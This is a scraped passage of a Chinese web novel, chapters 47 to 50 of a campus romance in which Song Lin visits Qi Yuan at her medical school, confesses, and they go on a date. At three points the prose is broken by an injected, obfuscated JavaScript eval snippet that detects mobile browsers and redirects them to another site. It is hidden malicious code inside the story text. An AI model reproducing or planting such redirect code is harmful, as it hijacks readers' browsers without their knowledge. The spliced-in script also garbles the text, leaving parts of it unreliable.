有个男生气的扶脑袋:“真的,你小子太她妈阴了,哪个草都能躲。” “有实力被你说成阴,有意思。”何浩楠冲他竖起来个大拇指,然后走到桌前,拆开宋嶙刚才帮他买的饭。 这家店他买过不少次了,味道不错,辣度适中,很合他口味。这次多加了个香肠和鸡蛋,拌开吃着更香了。 饭塞了满嘴,说话的声音也跟着模模糊糊,他用膝盖怼了下床上躺着的宋嶙,叽里咕噜说了句什么。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16158881|177650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>宋嶙皱起眉:“你不能咽下去再说吗?嘴里跟嚼了棉裤似的让我咋听?” “噗……”饭粒飞出来几颗,这话整的何浩楠又气又想笑,差点儿没给他噎死。等到嘴里的东西没了他才吱声:“我就是问你吃没吃呢,这是咋的了,火气这么大?不知道的以为你那两排牙是打火石呢。” “吃了。”宋嶙躺在胳膊上,眼睛盯着上铺的床板放空,过了半天才说下一句:“这大学上的太没意思了,啥时候能放寒假啊?” 何浩楠拿着筷子的手一挥,毫不留情地拆穿他:“你就说你想祁缘得了呗,还往寒假上扯。” “祁缘是谁?” 他这么一说屋里这几个人全凑过来了,宋嶙见状,拿枕头打他:“你说你这嘴够欠的了。” “没办法,我这人没你磨叽,心直口快,有什么说什么。”何浩楠笑起来,有个男生从背后揽上他肩膀,晃他身子:“你刚说什么?阿嶙想谁了?他不是没对象吗?” 何浩楠打掉他的手:“你咋啥都好奇?” “我哪里啥都好奇了?我好奇过你吗?” 宋嶙听见,歪头笑了。何浩楠气的两眼发昏:“行,你现在啥也别想知道了。” 那男生被他这么吊着有点炸毛:“刚还说你不磨叽呢,这会儿问你又不说,你还能不能行点事儿了?” 下一秒手上一空,盒饭被他们抢走了,何浩楠还没吃饱,面露难色:“你们这不是强人所难吗?” “你赶紧,说了就把饭还你。” “那等会儿他要揍我你们可得拦着点儿。” 其中一个男生瞟了一眼床上的人,转头拉来个凳子,直接挡在他们中间,“行,现在你是爹。” 何浩楠清了清嗓子,这才装模作样地开口:“说起祁缘啊……她是个女生。” “你是不是有病啊?”有人笑骂道,还以为直接进入主题了,没想到先拉了坨大的。 “我不得有个铺垫吗?”何浩楠捂着胸口,一脸受伤的样儿,继续说:“那女生是后转来的,他们俩在高中那阵还是同桌呢……” 他跟宋嶙是从小玩到大的,面对这帮后加入进来的他肯定不可能啥家长里短都全盘托出。他没全讲,中途跳了一些祁缘的事,后来突然发现连不上,他咬着牙,连蒙带骗的还编了点,反正说了个大概能让他们听懂就行。 空气安静着,只有何浩楠一个人在讲,宋嶙也不知不觉被代入回忆,跟着往前回想了点儿。他没想到他们竟然都已经认识这么久了,当时祁缘一直在他眼前晃,他也没空寻思别的事,宋嶙突然发现那时候自己的情绪问题都好了不少。 他们算是相互治愈吧。 故事总有讲完的时候,宋嶙翘着的长腿被人一拍,那男生“啧”了一声:“你俩这故事听着还怪感人的,难怪有女生找你要微信你都不给,原来是有灵魂契合的人了呀。” 打他们认识那天起宋嶙就一直被女生堵着要微信,这都开学两个多月了还有,他们光是看着就可羡慕了。其实他们当中也有几个长的比较帅的,只不过跟宋嶙这种脸蛋与身材并存的人相比,他们那些“帅”就显得有些黯淡无光了。 宋嶙扯了下嘴角:“契合有屁用啊,她还拿我当大哥呢!” “那你就拿她当小弟呗,哈哈哈哈。” “要是你你乐意啊……”宋嶙刚要坐起来,兜里的手机响了,他这个时候摸出来,周围瞬间围了一圈人。 打开一看,天塌了。 祁缘:我专业课有些问题没弄明白,明天有个学长要帮我补课,你要是有什么事就等晚上再说吧。 宋嶙的脸瞬间黑了。何浩楠退出去,嗤他:“让你说你不说,这下好了,心爱的姑娘跟人跑了。” 有人攥起拳头在眼边晃了晃:“阿嶙,余生请多哭泣。” “你们想死是吧?” 48. 第 48 章 今天课不算多,上午是满课,下午一节课没有,对于她们医学生来说算是解放了。 祁缘吃完午饭就开始窝在寝室里看手机,面对宋嶙从昨晚就开始的信息轰炸,她现在真是难受的抓心挠肝,还偏偏不能回复,她简直手痒的不行。 手心的手机突然被抽走,祁缘抬起头来,江阳拉她胳膊:“别看了,跟我们出去逛逛,分散一下注意力就不难受了。” “对呀,现在外边不冷不热的,穿我新买的大衣刚刚好。”白玉站镜子前,正在欣赏自己的美貌和衣品。 祁缘想了想,她好像确实没什么事可做,就算不看手机也是睡觉,便答应了:“那好吧。” 她没什么化妆品,简单收拾一下就开始坐在椅子上等人,李晴川是继她以后第二个完事的,一看那两个人还得等一会儿,见她无聊,突然起了想给祁缘化妆的想法。 “别了吧,太麻烦你了,而且她们也快好了。” 祁缘委婉地说,她其实不想化,每次跟她们出门看她们吃饭都小心翼翼的,还要随时随地补妆,她感觉好像很麻烦的样子。 然而李晴川压根儿不上钩,眼看扯不动她,这下直接把化妆包拿来了,刚收拾进去的又一样一样往出摆,她语气还挺开心:“哎呀不麻烦,相信我,你这底子化完妆肯定特别好看。” 江阳正在往脸上拍粉,附和道:“对呀,我们还没看过你化妆呢,让晴川给你化一下吧,以前老是让你等我们,这次换我们等你一下有什么大不了的?” “要不还是……” 下一秒祁缘就不说话了,因为李晴川已经开始往手上挤粉底液了。 她选择妥协。 祁缘还以为这东西就是直接往脸上抹,结果李晴川先是给她做了遍保湿,等到成膜了以后才开始上粉底。 粉扑拍在脸上的感觉很不舒服,但又说不上来,可能是她第一次化妆不习惯吧。祁缘的头被扳过来扳过去,还要时不时配合她闭眼、抬眼皮,她什么都没干就觉得累,真佩服李晴川,化了半天了也还是一副兢兢业业的样子。 直到李晴川在她头顶缓缓呼出一口气:“化完了。” 祁缘这才知道流程走完了,她睁开眼,看向镜中的自己:一张标准的鹅蛋脸上泛着几处红晕,眼线微挑,衬的她那双本就纯净的小鹿眼更加灵动。粉嫩的唇角翘起时,明媚的样子更是让人根本移不开眼。 她本就是那种清纯温和的气质,不得不说李晴川的化妆技术真的很好,简直把她的颜值放到了最大化。 “我去!你这是要迷死谁啊?”白玉凑过来,满眼震惊。 李晴川苦笑道:“我其实都没化什么,她底子太好了,长成这样可真是老天爷赏饭吃。” 江阳抱着胳膊从上到下打量她,“啧”了一声,“你以后还是别化妆了,要不然还会出现无数个段瑞的。” 祁缘被她们调侃的有些害羞,红着脸笑了声:“你们真是太夸张了,还走不走了?” “走走走,现在就走。” 正如白玉所说,现在外面确实不冷,上午还是阴天,这会儿突然出太阳了,隐隐约约从云层里照出来,乍眼一看有些刺眼。 几个人在校门口转悠,江阳打开手机里的地图,问:“去哪儿啊?” 李晴川揽着她的脖子,一起看:“好不容易一下午都没课,咱去个远点儿的吧,这附近都溜达腻了。” “那我看看啊……”江阳手上一顿忙活,发现市中心有个大型商场,坐地铁差不多半个小时,她指着:“去这里,你们有异议不?” “没有。”她们三个异口同声道,祁缘是去哪里都无所谓,她没什么买的,就光溜达。 等车的时候没意思,她们都在玩手机,祁缘不敢看,就低头踢着脚下的石子,这时眼前突然站了个人,石子毫不意外的踢到了那人的裤腿上。 “对不起对不……起……”祁缘愣住了,她不敢相信自己的眼睛,她没想到宋嶙居然连声招呼都不打,就这么赫然出现在她的面前。 宋嶙好像瘦了,五官看上去更精致深邃了,他似乎晒黑了点,但不知怎么的,好像比以前更帅了。 一改往日的嬉皮笑脸,他冷着脸,浑身上下散发着寒气。 “你是……”江阳她们三个一时没反应过来,面前这个男生相貌不错,长的又高,穿着一身冲锋衣,整个人帅的没边儿,往那一站估计路过的狗都要回头看两眼。 他就那么直直地看着祁缘,从头到尾连个眼色都没给她们。祁缘也瞬间慌了神,后悔对他撒谎,低下头不敢看他。 “她们三个,哪个是你学长?”宋嶙终于舍得张嘴了,大手覆上她的后脖颈,捏了捏。 这次力道有点儿重,因为她骗了他,这是惩罚。 这话,这语气,这动作。“……”那三人终于反应过来了,祁缘口中说的那个高中男生应该就是他了。 “我骗你了,对不起。”祁缘咬着唇,攥紧了手边的衣角。 “嗯,下午没课是吧?”宋嶙手插着兜,这场对决他占上风。 祁缘摇头:“没有。” “行,”宋嶙把手从她脖颈上抽出来,这次直接搂着,胳膊圈住她的后脑勺,对其余三人说:“学妹我先领走了,晚上给你们送回来。” 今天就算她们说不行他也得带走,这姑娘现在欠收拾了。 她们也没理由留她:“啊……行……” 多一句话他都没说,圈着人就走了。 江阳看的眼一弯:“我看这男生对她感情也不纯啊,你们看他吃醋那样儿,段瑞这下算是一点儿机会都没了。” 李晴川撇撇嘴:“难怪缘缘看不上他,身边有这么好的人选要我我也不答应。” “都杀到学校门口来了,咱们就等好消息吧。” …… 宋嶙从始至终黑着个脸,他腿长,一步恨不得顶祁缘三步,后者只能在后面快步跟着,她好几次都想让他慢点,话都到嘴边了,结果看他那样子她又说不出来了。一路都是这样,这场面,气氛僵的不能再僵了。 最后还是祁缘走不动了,厚着脸皮拽着宋嶙他才停下来。 她把着树干喘粗气:“宋嶙你别生气了,我不是有意要骗你的。” 宋嶙本来都要消气了,一听这话又来劲儿了:“你连信息都不回还不是有意的?要不是我亲眼看见你跟她们在外边逛我都不知道你在骗我。” “不是这样的,我只是……”她想解释,又顿住,后面的话要是说出来就等于直接挑明他们之间的关系了。祁缘动了动唇,到底还是没说:“你怎么突然过来了?今天没课吗?” “要是有我还能来找你?”宋嶙用后脑勺对着她,他承认他嘴硬了,其实他今天是满课,他们那个导员又事多,请假费劲的很。他干脆事先给宋健通了个电话,让宋健以自己生病为由,这才请下来的。 “哦。”祁缘信了,她撇撇嘴,不接话了。 宋嶙还在等她哄他,没想到等了半天都没等到,她还真是耐得住性子,他不说她就不说,宋嶙气的差点一口气没喘上来。暗自在心里做了一顿思想建设后,他扭过头,刚想找她说话,结果有人比他先开口。 “祁缘?你怎么在这儿?”段瑞从小道走过来,他刚和朋友打完篮球,胸脯起伏很快,头发被寒风吹得乱糟糟的,他揉了一把,像是刻意在她面前保持形象。 他亮着眼:“你是在等我吗?” 祁缘没想到他已经自恋到了这个程度,刚想反驳,一开口灌了一嘴冷风。嗓子眼儿痒痒的,她红着脸,没忍住咳嗽起来。 “你没事吧……”他凑过去要给她拍背顺气,手伸出去一半,突然被一股大力截住,还没来得及反应胳膊就被扔了回来。这一套动作行云流水,弄的他一趔趄,段瑞这才发现她身边站着的男生。 他刚不是还在那边站着的吗?他还以为他是等车的呢。段瑞揉了揉肩膀,无缘无故被收拾了一下,他受不了这个气,更何况是在喜欢的人眼前。刚想还回去,看清脸后整个人都呆滞住了。 这人看着怎么好像有点儿眼熟呢? 对,他想起来了,上次祁缘在图书馆学习,他刚好路过,碰巧碰到她开手机,她手机背景图片就是他。 帅成这样当时他还以为是网图,就问了嘴,她说这是她哥。 他没想到本人更是帅的离谱。 段瑞性格直来直去本身是挺好,但他打量人的时候也不知道掩饰一下,就这么光明正大的看,偏偏这种目光宋嶙最讨厌,他很隔应陌生人用这种眼神盯着他看。 宋嶙抱着胳膊,没什么表情:“盯出什么来了?说说看。” 只见段瑞突然弯腰,下一秒对他鞠了个躬,宋嶙见状赶忙躲开,不知道他为什么对他行这么大礼。 “哥哥你好,我是祁缘的学长。” ! 一旁的祁缘瞪大眼睛,眼珠转了转,转头躲到宋嶙身后去了,她这回真是骑虎难下了。 学长…… 宋嶙现在还在敏感阶段,听见这两个字只感觉头皮发麻,连个好脸色都没给他,扭头拉着祁缘就走。 段瑞也是个没眼力见的,也不知道他究竟看没看出来宋嶙生气了,一个劲儿的在后面追,最后直接扯上宋嶙衣服,强迫他停下。 段瑞急于表现自己,说话也吞吞吐吐的:“你既然是祁缘的哥哥,那也就是我的哥哥了,我现在正在追求祁缘,还请哥哥你……” “哥哥?”宋嶙笑了,但不是善意的笑,邪性的很:“你知不知道我比她小一岁啊?” 段瑞呆住。 宋嶙脸转过去:“你喜欢他吗?” 祁缘拉着他的手出了一层薄汗,她拒绝的痛快,脑袋甩的飞起。 “还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16174616|177650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有,什么追求?就你这种死皮赖脸的人也配谈追求?”得到肯定的回答后,宋嶙直直朝段瑞走去,这次连笑都不笑了:“我告诉你,我就没把她当妹妹看过,而且就算我得不到,也轮不到你,知道吗?” 他本就窝火,枪口是他自己撞上来的。 祁缘深呼吸,是她想的那个意思吗? 离近看两人身高差了一大截,气势上段瑞就输了一半,可他还是不死心:“你这是什么意思?你们没有血缘关系吗?” “屁的血缘关系,有我还跟你扯这个?”宋嶙挑起半边眉毛,帅是帅,但他这个样子越看越像那帮社会人渣,段瑞怎么也想不到,祁缘居然会认这种人当哥哥。 面对一个痞子,他不想再继续深入探究了,泄了气,放弃了:“行,那祝你们幸福。” 这次段瑞头也不回地走了,宋嶙也是服气,这么点挫折就能让他放弃,就这心态还追人呢? 段瑞走远了,祁缘晃他袖子:“你今天火气怎么这么大?” “一看你就没看你们学校表白墙。” 宋嶙以前也没听说过这玩意儿,还是他舍友让他加的,说这里面有别人匿名爆料的瓜什么的。他其实对这种事不怎么感兴趣,他们给他推他都没加,后来也不知道他哪根筋搭错了,自己学校不加,反倒从网上找来链接,加了祁缘学校的。 他起初象征性的扒拉两下,什么意思都没有,大多是些吐槽的帖子。吐槽这个人花心,吐槽那个人脚踏两条船,还有人直接把照片摆出来了,宋嶙看了两眼又去翻别的,他本来都没放心上,今天这男的出现了他才想起来,他就是被别人挂墙上控诉的那个。 配的文案是花心加骗钱,据说这人还记仇,性格极端。 祁缘听完,她倒是不以为意:“平时我们都不怎么见面的,而且他就算花心也不关我事吧?我又不喜欢他,骗钱也是骗那些喜欢他的女孩子的。” 解释明白了,宋嶙这下开心了,刚才那男的上来就管他叫哥,他还以为他们都进展到哪一步了呢。 祁缘见他脸色终于缓和了点,提出带他去附近的商场逛逛,宋嶙摇头,拉着她到后面的长椅上坐下。他闭上眼睛,扭头靠在祁缘的肩膀上。 他们学校隔了两千多公里,他昨晚一宿没睡好觉,今天一大早就去机场赶飞机,精神一直紧绷着,他打了个哈欠,现在有点疲倦了。 这一瞬,祁缘感受到了自己久违的心跳。 低头一看,他们两人的手还拉着,她突然来了想把这一切都说明白的勇气。 “宋嶙。”她唤他。 他懒散地“嗯”了一声。 “你……你……你是不是……”祁缘的嘴唇被她咬出两条印子,拳头攥紧又放开,怎么真到这一刻她还说不出来了? 她又开始纠结,直到听见少年的声音在耳边响起,撞破了她所有的思绪。 “喜欢你。”对比之下,他说的轻快。 祁缘怔住,宋嶙睁开眼,眼皮多了个褶,身子没移开,下巴垫在她的锁骨上。他笑起来,露出两个酒窝。 “我不想让你当我妹妹了。” “昨晚那个消息把我弄的很难受,我舍友都笑话我,”他表情突然变得很委屈,继续说:“我都后悔报那个学校了,都不如报个跟你同城的,这来一次好费劲,还差点让别人把你撬走了。” 宋嶙揣摩起她白皙的小手:“喜欢你好久了,给个面子,选我行不行?” 祁缘被他突如其来的告白给搞懵了,她能清晰地感受到自己的心脏此时跳的有多快,像打鼓似的,余音久久不散。 他以前是怎么藏的那么天衣无缝的?把她这个当事人都给糊弄过去了。 见她迟疑,宋嶙还以为她不想答应,“嗖”地一下坐起来,脸色很难看。 “你是不是还有别的人选?” “没有,没有。”这可真是误会她了,祁缘急忙否认,宋嶙不听,捏着眉心,道:“是我做的不够好吗?还是我……” 祁缘立马打断他:“不是不是,你最好了,我只是刚开始没反应过来,本来是我想跟你表白的,我……” “……”祁缘语噎,脸红了一大片,这下算是彻底说通了。 宋嶙脸上的表情突然变得意味深长:“什么时候的事儿?” 她故意装不懂:“什么?” 他笑起来:“喜欢我。” 祁缘能感受到自己的脸越来越红,甚至有点烧,她脸转过去,看向路边的杂草:“昨天吧?应该是。” “当我傻子?”宋嶙抬手把她的脸扳回来,盯着她看,眼里含笑:“今天这么好看呢?” “我以前不好看吗?” “好看,但今天最好看。” 祁缘抿了抿唇:“因为我今天化妆了。” 宋嶙头晃的像拨浪鼓:“不对,因为你今天是我女朋友。” 49. 第 49 章 宋嶙好不容易来一次,坐了三个小时的飞机,总不可能一下午就这么干待着,那也太没意思了。 祁缘打算带他在附近转转。 大概过去三条街,那边有个商场,虽然不像市中心那个开的那么大,但也不小,她们医大的学生平时没什么时间往远走,一闲下来就来这里逛。 宋嶙到现在为止还一直没吃饭,祁缘带他去了一家她认为比较好吃的拌饭,味道很好,每天来这里吃饭的人都不少。 他们找了个角落的位置坐,按照以往他们是要坐对立面的,既然一切都已经说明白了,两人自然而然坐在了一起。 祁缘早饭只吃了个水煮蛋,她这会儿也饿了,把菜单推给宋嶙,问:“你看看你想吃哪个?” “我都行啊,你给我点什么我就吃什么。” 宋嶙拄着下巴说,自从确定关系以后他的眼睛就像长在她身上了一样,也不管有没有人,目光就在她身上挂着。祁缘羞的不行,抬手捂住他的眼睛,把他往旁边推,然后对服务员说:“姐姐,来两份鱿鱼拌饭。” “好的,请稍等。” 服务员走后,宋嶙把眼睛上的手拿下来,反手握住:“你这品味,能行吗?” 身份都不一样了他还不信任她,祁缘笑了声:“那你别吃,这是按照你口味点的。” 宋嶙指了下自己:“我的口味?” “高二期中考试,我们去小吃街吃的,只不过当时吃的是鱿鱼炒面。”祁缘跟他打包票,面色认真:“这个拌饭也很好吃,跟那个味道差不多。” “那么久的事了你还记得。”听她一说宋嶙也想起来了,他把餐具拆开,像往常一样先给她,然后再拆自己的。 祁缘接过来,往碗里倒了点热水,再倒掉,用纸巾擦了擦。她语气很平静:“关于你的事我都记得。” 宋嶙手上的动作一顿,他从没想过在她身上他会听到这样的回答,一瞬间心情有些复杂。祁缘余光瞥见,伸手在他发直的眼前挥了挥,笑道:“你是被我感动到了吗?” 宋嶙回过神来,睫毛轻颤,看向她明亮的眼睛:“是有点儿。” 祁缘说:“话有真有假,万一我只是说说而已呢?” 宋嶙想都没想:“我相信你。” 饭吃好了,宋嶙去结账,然后拉她去商场里面逛逛。 一楼是吃饭的地方,二楼卖化妆品,祁缘也不化,两人连停都没停,她直接拉着他上了三楼。 三楼就都是卖服装的了,她上次来是和舍友一起,白玉想买小裙子,她们仨就跟着她逛。能有一个月没来了,她发现最近上了不少新品,各种风格款式样样齐全,乍眼一看还挺能勾起人的购物欲望的。 祁缘透过橱窗往店铺里面看,宋嶙脚步也跟着慢下来,他询问:“你要买衣服吗?” “不买,我就是单纯想看看。”她收回探究的目光,她有衣服穿就行,没必要买那么多。 宋嶙没说话,看向她那身高中就穿着的衣服,都大学了还不买件新衣服穿,估计她又是觉得浪费钱。想着,宋嶙不给她商量的机会,抓着她就往店里走。 祁缘被拖着,胡乱抓住门口的栏杆:“你干嘛?我真不买。” 宋嶙一点一点掰开她的手指:“是我想给你买。” 一进店铺,有两个店员说了句“欢迎光临”,然后就在他们身后跟着,不是询问祁缘喜欢的款式,就是给他们推销当下的爆款。祁缘皮笑肉不笑地听着,她们拿过来的衣服她也只是简单撇了一眼,就让店员放回原位了。 再这么下去她估计一件都不会买,宋嶙脸转过去,对那两个店员说:“你们先去忙吧,有需要我们会招呼你们的。” 跟在客人后面介绍推销是他们店的规定,可客人都已经开口明确拒绝了,她们也就没理由继续在跟前晃了,对着两人微笑了下:“好的,祝二位购物愉快。” 后面没人“监视”还真轻松了不少,祁缘这揣摩一下,那扒拉一下。天气渐凉,现在挂着的外套都是厚款的了,衣领处都有一圈毛,衬的衣服很是臃肿。 宋嶙拉着她逛了两圈了,祁缘没有一件能看超过两眼的。宋嶙有些不信,别人家的女朋友都巴不得男朋友给自己买衣服,试来试去能试好久,怎么到她这儿就看上去兴致不大的样子? 宋嶙晃了下手上的手:“没有喜欢的吗?” 祁缘回答的直接了当:“没有。” 他拉着她往外走:“那去别家看看吧,这一层都是卖衣服的,我就不信一件都入不了你的法眼。” “……” 看样子她今天不选出来一件,他是不会善罢甘休的。 宋嶙对她也是真有耐心,陪她逛了这么久都没说什么,祁缘要是有一件看得上的他也会跟着高兴,在试衣间外面帮她拿衣服什么的都是亲力亲为。 店员说:“小哥哥,您可以去沙发上坐着,这些事情我们就可以做。” 宋嶙摇头:“不用了,我女朋友的东西我自己拿。” 祁缘隔着一层布料听见,她弯起眼,换好新衣服出来,脸上笑眯眯:“这件衣服怎么样?” 她个子矮,大衣她撑不起来,要想视觉显高上衣就不能买长的,于是她选了件灰色的针织衫,长度到腰,没什么装饰,亮点在于两边袖子上系着纱样的白色蝴蝶结,显得穿上这件衣服的人温柔又宁静。 宋嶙也笑起来:“你穿什么都好看,只是,你下面要不要配条纱裙?那样好像更搭一点。” 店员见状凑过来,对着祁缘鼓励一通:“您男朋友可真是好眼光啊!还懂女孩子的心理知道怎么搭配好看,我们家有纱裙的,什么样都有,这种衣服配蛋糕裙最好看,要不要给您拿一条?” 没等祁缘回复,宋嶙拿了主意:“拿吧,让她穿上试试。” 店员去后面翻找了,祁缘贴在宋嶙耳边,小声说:“干嘛要说买裙子,这不是冬天吗?穿牛仔裤就好了。” 宋嶙把她耳边的碎发往后撩了下,说:“你总不能一直穿牛仔裤吧?平时跟舍友出去玩正好穿,而且蛋糕裙都是到脚踝的,你里面穿厚一点就行了。” “可是……” “别可是了,她都给你拿来了。” 店员把手上的裙子递给她,总共三条:一条没什么装饰,很素雅;一条裙摆上有淡黄色的小花,比前一条看上去活泼一点;还有一条就是宋嶙说的纱裙,还带着细闪,看上去亮晶晶的。 “您看看您喜欢哪种的?我拿的都是觉得和衣服很配的,要不就都试一下看看?” “去吧,都试试。”宋嶙附和道。 “行吧。”祁缘接过裙子,钻回试衣间,里面就有镜子,她每条都套上试了下,站在镜前转了一圈,发现确实像店员说的那样,每条都和她身上穿着的这件衣服挺配的。 但她要说选不出来,那宋嶙肯定会说都要了,一番思想斗争过后,祁缘选了那条淡黄色的碎花裙。 宋嶙果真问出那句话:“那两条不喜欢吗?要不就都买了换着穿。” 祁缘晃脑袋:“就买这条吧,还是这条更好看一些。” “行吧。”宋嶙扭头去付钱,祁缘就在原地乖乖等着。她知道,以前他就想尽办法不让她付钱,这下他就更不可能让她付了,她就算跟过去拉扯一番,最后也只是徒劳。 宋嶙把找回的钱卷成捆儿塞她口袋里,手搭她肩上,问还有什么想去的地方。 祁缘指了下楼上:“上面有手工DIY。” 宋嶙没听过:“什么?” “就是画石膏娃娃。” “画画啊?这我可在行。走呗,上去看看。” 这地方人流量很大,来的顾客基本都是情侣,只有个别的是家长带着小孩来玩的。宋嶙逛着逛着嗤笑出声:“我发现你好像跟那个小孩儿一样高。” 祁缘顺着他手指的方向看过去,那小孩儿还不会走路呢,在学步车上坐着啃手指,口水流了一下巴。她睨了他一眼,没理,过去挑娃娃。 她最后选了一个玉桂狗的。 摆在架子的最上面,她踮脚都够不到,结果宋嶙胳膊微微一抬就拿下来了。祁缘拿在手上,见他还在挑,问:“你不和我画一个吗?” “一人一个,到时候你收着我的,我把你画的带走。” “行。”她觉得他这个想法很不错。 宋嶙在柜子前千挑万选,最后选了个皮卡丘的,祁缘点头:“我还挺喜欢皮卡丘的,你要画好一点。” “那肯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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宋嶙一听,急了:“你这是什么意思?我的作品就这么拿不出手吗?” 他拿着娃娃在她眼前晃,祁缘苦笑道:“我怕拿回去摆在宿舍会做噩梦啊。” 宋嶙对此避而不答,脸转过去继续画:“反正你必须拿回去,这可是我呕心沥血才画出来的作品,你要懂得宝贝它。” “……”他估计是对“呕心沥血”这个词有什么误解。 半小时后,两人的成果摆在那里,一个是可爱又乖巧的玉桂狗,一个是凶神恶煞的牛爷爷。祁缘怎么看怎么想笑,最后甚至笑的抬不起头。 “我都不知道你在笑什么。”宋嶙难得高冷一回,倒显得祁缘像个傻子。 祁缘用手扇风,她眼泪都笑出来了:“我真受不了了,笑死我了。” “没品。”宋嶙边说边把娃娃放进盒子里,他把祁缘做的自己收好,又把他做的强塞给祁缘,十分自信地说:“你就放心好了,你舍友看见了还得夸你男朋友动手能力强呢。” 祁缘哼笑出声:“希望吧。” …… 人越思念一个人,就会在无数个深夜里辗转反侧,幻想见到他时的场景,脑补出一个自己满意的画面,困到深处时,再带着这份感情入睡。 当你见到他了,又在担心时光飞逝,想起以前数着日子煎熬度过的那些天,埋怨现在为什么不能过的慢一点。 分别时,心是疼的,鼻子是酸的。 宋嶙的航班在晚上九点。 冬季这个时间已经夜色浓重了,宋嶙怕祁缘回去不安全就不想让她送,可她坚持要去,他推都推不走。 她也不是不知道,离开是必定的,拖着只会更难受,但只要一想到他还在这个城市,她就不想浪费这可以见面的每一分每一秒。 拖到最后,来往的人群渐渐稀少,祁缘松开抓着他的手,说:“你进去吧。” 宋嶙回头看了一眼,大手抚在她脸上,捏了捏:“那我走了,你照顾好自己,别忘了回宿舍以后给我报个平安。” “嗯。”女孩的声音平静又破碎。 听得他心疼。 没办法,他不是无所不能,世上有太多事都做不到两全其美,他帮不到她。 宋嶙退着往后走,两人的距离越来越远,直到视线变得模糊。 他朝她挥手,做最后的告别。 祁缘也挥手回应着,表面笑着,内心又偷偷给自己灌输思想:再有两个月就是寒假了,他们就又能见面了。 再挺一挺就过去了。 如果几个月她都克服不了,那他入伍那天,她又该如何面对。 50. 第 50 章 自从段瑞和祁缘之间的事被宋嶙横叉一脚后,段瑞就识趣的再也没找过她了,把微信都删了。 江阳对此事气愤的很,脸一会儿红一会儿白的:“删了也好,这种人渣你根本没有必要搭理他。” 祁缘笑了笑,把他的微信也从列表里删除:“你们当初不是还想让我跟他在一起的吗?态度怎么转变的这么快?” 白玉不好意思地挠头:“哎呀,我们跟你一样,没人关注表白墙,谁又能知道他是那种败类呢?” 她们谁都没想过那个段瑞居然是个骗钱的花花公子,现在只能庆幸还好祁缘没有打算跟他谈恋爱的想法,要不然她们可真是把好姐妹往火坑里推了。 李晴川从床帘里探出头来:“不过话说回来,你俩还得感谢人家呢,要不是段瑞过来引火烧身,你俩能敞开心扉说明白吗?” “哎呦,你这么一说好像还真是。” 祁缘作势一惊:“那怎么办?我是不是要请他吃顿饭?” “拉倒吧你,让你男朋友知道了肯定又要杀过来了。”江阳把课本整理好,捧在怀里:“走吧,还要赶早八呢。” 一节英语就占了整个上午,祁缘和她的三个室友坐在一起,她们之中也就她乐意听点课,其余那三个只能算是过来答个到,书摊开以后,追剧的追剧,睡觉的睡觉。 祁缘一手拄着下巴,另一只手飞快地在笔记本上做着笔记,她抽空瞟了一眼她们,说:“学点吧,要不然碰上你们的病人多可怜。” 她有时候真怀疑她们是怎么考上这个大学的,进来的时候就江阳分数最高,结果现在就她堕落的最狠。 江阳耷拉着眼皮:“不知道为什么,每次都想好好学,结果一上英语课就困。” 祁缘扯了下嘴角:“是只有英语课吗?你哪节课没困?” “一天瞎说什么大实话。”这个睡觉的姿势累人,江阳想换个姿势睡,一扭头就看见前边的女生在梳马尾,手腕上的手绳跟着上蹿下跳的。 她这人自来熟,跟谁都能聊两句。江阳扒拉一下她的肩膀,那女生回过头来,身上散发着强烈的香水气息。 估计是刚喷完,江阳被呛得挤了挤眼睛,故作镇定道:“同学,你这个手绳哪里买的?好好看,能不能给个链接啊?” 她就喜欢那种小饰品。 女生被她问的懵了一瞬,突然笑了,眼里满是自豪:“不好意思,这青丝手绳是我男朋友送给我的,没有链接。” 还不如不问了,江阳撇撇嘴:“我去,真不怕我得红眼病啊?” 要的就是这种效果,女生内心狂喜,但又不能表现出来,于是表情变得越来越矫揉造作:“哎呀,我也没想到能遇见对我这么好的男生,被你突然这么一问我还觉得我挺有福气的。” 江阳心眼儿实,看她那呆呆傻傻的样子就没看出哪里不对劲,反倒是白玉,她可是鉴茶小能手,她最看不惯别人这种表情。 但白玉不会表现的那么明显,露出一副人畜无害的样子,问:“姐姐,那你男朋友要是跟你分手了怎么办?我听说青丝手绳可是有寓意的。” 没想到会有人这么问,女生吃了瘪,表情变得不太好看:“你能不能盼我点好?什么分手不分手的,要是他背叛我我就把手绳烧了,让他倒一辈子霉!” 白玉不好意思地说:“哎呀,真的是抱歉,我这心直口快的毛病怎么就改不掉呢?” 她又假装锤了锤自己的脑袋:“问出这种话来真是不好意思,小姐姐你可千万别生气啊。” 见她这样,女生也不太好说什么,张了张嘴,最后挤出来句“没事”,就转过头去了。 江阳终于看出来点猫腻了,知道她是刻意显摆,扭头对着白玉抱了个拳。 中途有休息时间,前边坐着的女生跟她朋友挎着个胳膊去上厕所了,李晴川见她们走远了才说:“哎呦我感觉她男朋友怪惨的,她刚才跟你们说话那表情一看就不是专一的人,她男朋友还送她青丝,到时候惹一身祸可怎么办?” “这个是有什么说法吗?”祁缘停笔,也加入进来。 